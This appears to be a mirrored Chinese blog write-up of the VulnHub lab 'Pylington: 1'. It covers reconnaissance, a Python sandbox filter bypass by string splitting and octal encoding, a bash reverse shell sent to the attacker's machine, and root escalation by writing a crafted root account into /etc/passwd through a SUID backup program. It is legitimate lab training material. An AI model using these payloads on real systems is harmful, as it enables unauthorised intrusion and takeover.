0

vulnhub靶场之PYLINGTON: 1 - upfine

 1 year ago
source link: https://www.cnblogs.com/upfine/p/17211842.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

攻击机:虚拟机kali、本机win10。

靶机:Pylington: 1,下载地址:https://download.vulnhub.com/pylington/pylington.ova,下载后直接vbox打开即可。

知识点:敏感文件发现和利用、python代码执行、shell反弹、python代码过滤绕过。

一:信息收集

1.nmap扫描

使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.76。

2834847-20230313161851885-1252800426.png

使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.76,显示开放了22端口、80端口,开启了ssh服务、http服务。

2834847-20230313161924475-2110092473.png

2.目录扫描

使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt文件。

2834847-20230313162006946-2073655304.png

3.web信息

访问web服务时查看了下源代码信息,但是未发现有用信息,然后想着注册账户登录,但是告诉我们无法注册新用户,只能已经存在得账户才可以登录。

2834847-20230313162403981-2103417334.png

访问下目录扫描时发现的robots.txt文件,发现新的目录信息:/zbir7mn240soxhicso2z。

2834847-20230313162556419-1135636591.png

访问新发现的目录,返回页面信息中存在账户和密码信息:steve/bvbkukHAeVxtjjVH。

2834847-20230313162645741-970602499.png

二:获取shell

利用获得账户和密码信息:steve/bvbkukHAeVxtjjVH登录系统,发现可以执行python代码和一个指向链接,访问该链接跳转到了:http://192.168.5.76/noimportos_sandbox.py,并给我们提示,告诉我们不要输入:import、os、open命令。

2834847-20230313163815001-911613344.png
2834847-20230313164102829-2103731447.png

测试了以下import命令,发现会被检测并返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。尝试绕过对关键字符串的限制,使用拼接法进行测试,payload:exec('print("imp"+"ort")'),成功绕过限制输出import。

2834847-20230313164452432-726942777.png

开始构造shell反弹语句,使用exec执行我们构造得shell反弹语句成功获得shell权限。

#原来语句
import os
os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')

#绕过限制后得语句,注意有个双引号,不然会引起歧义无法执行
'imp'+'ort o'+'s'
'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')"

#执行语句
exec('imp'+'ort o'+'s')
exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")
2834847-20230313165214814-1340998138.png

或者通过脚本进行进制转生成可执行的字符串也行,如下可以获得返回的id信息,两种绕过方式均可以。

oct_result= ''
strings = 'import os'
for string in strings:
    one_char = ord(string)
    oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
print(oct_result)
#import os结果
\151\155\160\157\162\164\40\157\163
#os.system('id')结果
\157\163\56\163\171\163\164\145\155\50\47\151\144\47\51
2834847-20230314101337718-1182700510.png

1.提权至py

尝试使用sudo -l来查找下特殊命令,但是告诉我们sudo需要密码。

2834847-20230313170030094-443607443.png

使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/py/typing文件。

2834847-20230313170146656-1830008692.png

 进入/home/py目录下发现user.txt、typing.cc、typing文件,并对对typing.c文件具有读取权限,对typing文件具有执行权限。

2834847-20230313170326034-308492265.png

 查看typing.cc文件得源码信息,发现该程序可以告诉我们密码信息。

2834847-20230313170626551-1241320036.png

执行typing文件,并按要求输入line得值,成功获得密码信息:54ezhCGaJV。

2834847-20230313170737539-1913308396.png

 利用获得密码信息:54ezhCGaJV尝试切换到py账户,su py。成功切换到py账户并读取/home/py目录下的user.txt文件,成功获得flag值。

2834847-20230313171054336-337142532.png

2.提权至root

尝试使用sudo命令,但是被限制了。想想也是密码都给你了咋会让你使用sudo。

2834847-20230313171236793-1710514171.png

那就继续使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现:/home/py/secret_stuff/backup文件。

2834847-20230313171323483-793846171.png

进入/home/py/secret_stuff目录发现了backup得源码文件:backup.cc,访问backup.cc文件发现我们可以随意将一些信息备份到以/srv/backups/目录开头得文件中,因此想到直接向/etc/passwd文件中写入具有root权限的账户。

2834847-20230313171622828-343617779.png

我们可以直接查看下kali中的密码信息然后写入到靶机中或者使用openssl创建密码:openssl passwd -1 -salt upfine upfine,我这里直接使用本机kali的密码:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow文件查看,然后查看靶机中的root权限信息,命令cat /etc/passwd,发现其权限信息为:root:x:0:0::/root:/bin/bash,因此我们构造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,将payload写入到/etc/passwd问价即可。

2834847-20230313172931546-139353415.png

尝试切换到我们添加的upfine账户,su upfine,成功切换到upfine账户并且该账户具有root权限。

2834847-20230313173022846-558996591.png

获得root权限后在/root目录发现root.txt文件,读取该文件成功获得flag值。

2834847-20230313173146531-225334651.png

如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK